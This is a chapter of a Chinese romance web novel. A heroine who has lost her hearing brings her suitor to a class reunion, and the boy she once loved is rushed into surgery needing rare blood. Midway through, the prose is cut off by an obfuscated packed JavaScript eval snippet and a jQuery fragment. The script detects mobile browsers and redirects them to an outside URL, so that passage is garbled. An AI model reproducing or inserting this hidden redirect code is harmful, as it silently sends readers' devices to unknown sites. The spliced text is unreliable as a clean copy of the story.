第二十二章
程知微看着他充满期许的眼神,一瞬间有些恍惚。
其实她何尝不想有一个人陪着她走进去,一起面对来自熟人的目光和言语。
原先在她的设想剧本里,一直是有一个这样的人,她也曾经在梦里构想过很多次他们携手的场景。
只是她没想到,现在她的设想终于成真了,只是换了人。
顾凛见她有瞬间的慌神,还以为她不愿意,于是立刻进退自如。
“当然没关系的哈哈哈,我相信你的实力,就算是你一个人也肯定没问题。”
生怕她听不明白,顾凛还打出消息发给她看。
只是在打字的时候故意拖慢了些节奏,好让她有更多时间思考。
但是顾凛其实已经在心底暗自唾弃自己的卑微了。
为什么?原先在女生面前无往而不利的他,一直是众多女生主动追逐的对象的他,这次为什么忽然处于低位呢?
顾凛其实对这个答案很清楚,之所以会低位,主要就是因为他更爱。
如果程知微十年暗恋的对象是他而不是别人,那今天的形势就会彻底发生扭转。
只是现在还不是那一天。
但是他相信自己一直坚持努力,始终会等到那一天的。
就在他修复好自己的情绪和面部表情的时候,程知微才如梦初醒般答应他:“好的,一起上去吧。”
像是生怕他后悔一般,程知微鼓起勇气:“你会愿意上跟我一起的是吗?”
也不知道这句话是说给顾凛听,还是提醒给自己听的。
在刚刚短短的十几秒中,程知微内心其实很纠结,她不知道如果勇敢重新开始,是不是会拥有一个不错的结局?
毕竟原先耗费许久的惨白,她再也不想经历第二次。
虽然一开始相亲没有带着乐观的目的,但是顾凛在朝夕相处中给了她很大的惊喜,也许这就是天意。
程知微感觉,自己在男女相处中,还是非常相信缘分的。
所以她决心给彼此一个新机会。
顾凛见她答应自己,心中正暗自松了一口气,但随即又被她斩钉截铁,视死如归的眼神吓到。
难道答应他,需要这么大的决心吗?
这真的让他开始产生很大的挫败感。
不过他用风度很好地掩饰了这一点,揉揉她的头,他停好车之后,起身和程知微步入电梯。
不管怎么样,现在的进展是他积极争取的结果不是吗?
两个人在电梯密闭空间中,各自低头看着自己的脚,谁都没有主动开口说话。
最后还是顾凛绅士地帮她挡住电梯门:“没事的,不要怕,有我在。”
程知微虽然听不清楚他的内容,但能在他温热的手掌中感受到支撑。
所以她深呼吸,推开二楼包厢的门。
因为主干道路上有点堵车的原因,程知微是最后一个到的人,一进去就当即成为同学们关注的焦点。
“程知微,快进来坐,你的位置在那边,陆兆衍的旁边。”
副班长即使过去了这么久,还是这么喜欢开她的玩笑。
虽然程知微没有主动挑明过,但是她喜欢陆兆衍的事情并不是什么秘密,这也算是她多年以来的一个记忆点。
没人认识顾凛,因此也就没人主动招呼他,几个同学挤眉弄眼地交换眼神深怕忘了班上的这么一个大帅哥。
最后还是班长站起来礼貌客套:“请问你是?”
和程知微一起进来的,看起来不像是他们班的同学,但又确实给人一种年龄相当的帅哥氛围感?
程知微目前仍然处于失聪的状态,所以对外界的很多反应都很迟钝,顾凛积极给自己解围:“我是知微的好朋友,今天主要是怕她紧张所以陪她来的。”
同学们都纷纷找到原先的好友聚集坐在一起,本来控空着的两个位置一个是程知微,一个是陆兆衍,再没多的空缺。
顾凛自然是代劳陆兆衍的座位。
紧挨着程知微。
其他同学听见顾凛这么说,也就敢开玩笑活跃气氛:“我就说,我们班上这么久还没出过第二个这么帅的帅哥,如果真的有的话,我们早就想起来了。”
顾凛正在笑着接过旁人递来的酒杯:“是吗?看来你的记性还真好。”
他落落大方的谈吐和温文尔雅的举止一下子就征服了在场的所有女性,只有程知微对此熟视无睹。
她主要想到,现在她都听不见了,这群人在叽里咕噜地说些什么?
虽然是短暂的失聪,她能不能稍微配备个助听器?
见顾凛这样客气,其他女生也大起胆子:“这位帅哥请问你和程知微是什么关系?”
其他人看热闹不嫌事大,纷纷用八卦的眼神聚焦到他们二人身上。
程知微感觉苗头有点不对,但听不清内容也就不好辩驳什么,只是愈发焦虑。
顾凛给程知微充分的空间:“说实话,目前我正在追求知微,但遗憾的是,到现在为止,她都还没答应我。”
程知微见他说话之后,其他女生纷纷向她投来谴责的眼神,继而又用怜爱的眼神看向顾凛,她心里更着急了?
怎么回事,为什么她们感觉有些责备自己?
顾凛替她解围:“不过没关系,相信假以时日,知微会被我的真心感动的。”
他的目的终于达到,在众人面前取得露脸的机会,未来才更好要名分。
虽然刚刚主动替程知微解围是真,但同时他也希望可以在众人瞩目中牵起程知微的手。
这两者并不矛盾。
主要是一想起陆兆衍还在医院病床上躺着,顾凛就很有危机感。
他不得不加快推拉进度。
还是老同学周扬发觉不对,主动发信息和程知微确认:“怎么回事,微微这个帅哥说他是你未来男朋友?”
“你不是喜欢陆兆衍的吗,什么时候又重新接受其他小帅的追求?”
在一片尴尬的氛围中,程知微低头看清消息才知道,原来他们是这样看自己和顾凛的关系的!
她只是觉得一口气差点背过去!
可是转念一想,她们这样认为也总好过把她和陆兆衍长期捆绑在一起。
不过陆兆衍原先高中的时候声明在外,班级里年级里不少人都在看程知微暗恋的笑话,有人见她现在转头有了新欢,自然不爽出来怼她。
“不是啊,我记得程知微不是一直是陆兆衍的小迷妹吗,难道一直追不到终于转换目标了吗?”
话里话外中的火药味不可谓不足。
方倩,程知微一下子就认出来说话的女生是当年陆兆衍的另一位铁杆迷妹。自然跟她从高中开始就不对付。
现在方倩这样说,摆明是要给程知微难看。
顾凛闻言直接皱起眉头,可程知微却先他一步主动站起来声明:“我才没有喜欢陆兆衍很久,况且我们早就不联系了,这位顾凛是我现在的男朋友。”
在快言快语这样一句话之后,程知微才忽然惊觉:等等,她怎么忽然听得见了?
在这么戏剧化的场合,她就忽然恢复了听力?
程知微喜出望外地抱住最近一直安慰陪伴她的顾凛,喜出望外道:“我终于再次听见了!”
顾凛听她这样说,也激动地回抱住她:“是吗,那真是太好了,我们的努力没有白费!”
徒留下在场的其他人一脸问号,不知道他们这二位是发生了什么?
最后还是班长出来打圆场:“你们这是在演哪一出?”
如果说原来她只是想要给顾凛一个机会,但是现在程知微在恢复听力之后才恍然大悟,也许这就是上天的旨意!
可能是因为她的勇敢,才让她恢复听力可以真正拥有一个新开始。
她这样想着,转念就和在场的其他人说道:“其实原先我只是因为和陆兆衍是同桌,所以大家看起来觉得我们很熟,实际上我们话都没有说过很多次。”
反正既然陆兆衍不在场,她干脆把关系彻底撇清,总好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501351|170355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过一直给大家留下一个如此坏的既定印象。
反正对她来说,是最坏的。
顾凛也没想到,惊喜来的这么突然,但他还是站起身给大家敬酒:“原先多有麻烦大家照顾我们家微微,以后有什么需要用得着我的地方,大家尽管开口。”
毕竟他在小县城身为警察,再加上家里的关系,这样说的含金量还是有的。
其他人虽然没搞懂今天同学聚会唱的是哪一出,但都欣然举杯,相互热烈攀谈起来。
似乎高中毕业之后,大家冷漠的中间几年丝毫不存在。
只剩下方倩阴着脸坐在角落,眼神中对程知微的不满更深了一分。
她主动拍下同学聚会间热烈的场景,主动发消息给陆兆衍求证:“程知微在同学聚会上公然说她有新的男朋友了,你知道这件事吗?”
陆兆衍原来正躺在床上,听着新来接班的同事周临渊向他汇报工作。
虽然早就有人通知他今天晚上有高中同学聚会,但是因为客观原因,他自然是谢绝了邀请。
可是现在看到别人这样发消息给他,甚至还有高度清晰的图片,陆兆衍瞬间就感觉自己坐不住了。
一旁本来看着点滴速度的林琴和正在汇报的周临渊都有些惊讶地看着他。
陆兆衍意识到自己的反常,赶紧正色道:“帮我问问护士,今晚的水还有多久能挂完?”
不知道是不是情绪激动的原因,原先一直不痛的胃部,忽然又开始剧烈疼痛起来。
林琴见他脸色如此之差,立刻按下病床旁边的呼叫铃:“十八床赶快来看一下!”
护士们闻声赶到的时候,陆兆衍已经再一次有些意识模糊,嘴角甚至涌出一丝鲜血。
林琴见儿子忽然又病情急速变化起来,吓得大喊:“医生,医生在哪里?”
饶是周临渊和陆兆衍同学许久,也不曾想到他的身体会忽然虚弱到这个样子。
当日值班的医生在短暂检查之后,当机立断道:“病人的胃部情况很不好,恐怕出血止不住,赶快准备手术室。”
深夜手术本就风险更大,更何况陆兆衍还是稀有的RH阴性血。
这种血型本就稀少,现在立刻手术的话,备血根本不够支撑得住。
毕竟整个县城,也凑不出一桌RH阴性血的人。
林琴在手术室外的走廊上听见医生这么说,头昏脑胀到不行:“那怎么办,我们住院治疗就完全相信你们的判断和治疗,现在应该是你们去想办法解决这个问题。”
周临渊扶住她坐下来,冷声道:“麻烦你们赶紧打电话通知其他家属,同时想办法调取其他地区的备用血来,如果实在不行的话,我可以献血。”
护士拒绝了他的提议:“这位患者的血型比较特殊,不是随便什么人的血都可以用的,需要特定的RH阴性血供者才可以。”
听见这样的说辞,周临渊保持冷静:“既然这样的话,你们现在能联系上县城里其他拥有这个血型的人么?”
“毕竟我没记错的话,是可以当场献血使用的不是吗?”
虽然眼前的青年身形高大瘦削,面容温和,但给人的气质却透着一股冷冽。
医生和护士也自然不敢怠慢,早有血站的工作人员在电话联系最近的相同血型人。
程知微在闹哄哄的包厢中很难听清声音,更何况她本来就手机静音。
等她发现有5个未接来电的时候,已经过去了十五分钟。
正当她以为是诈骗电话要拉黑对方的时候,相同的号码却又不依不饶地打了过来。
血站的工作人员告诉她,现在有一位患者正在医院等着急救,亟需用血,而她是附近距离最近的相同血型的潜在志愿者。
对方说的很诚恳:“现在患者正躺在手术台上,就等着备用血源才可以继续手术。”
似乎,目前程知微是患者唯一救命的希望。
程知微都不知道这个深夜需要手术的可怜患者是谁,她只得在电话中确认细节:“是需要我现在去吗?”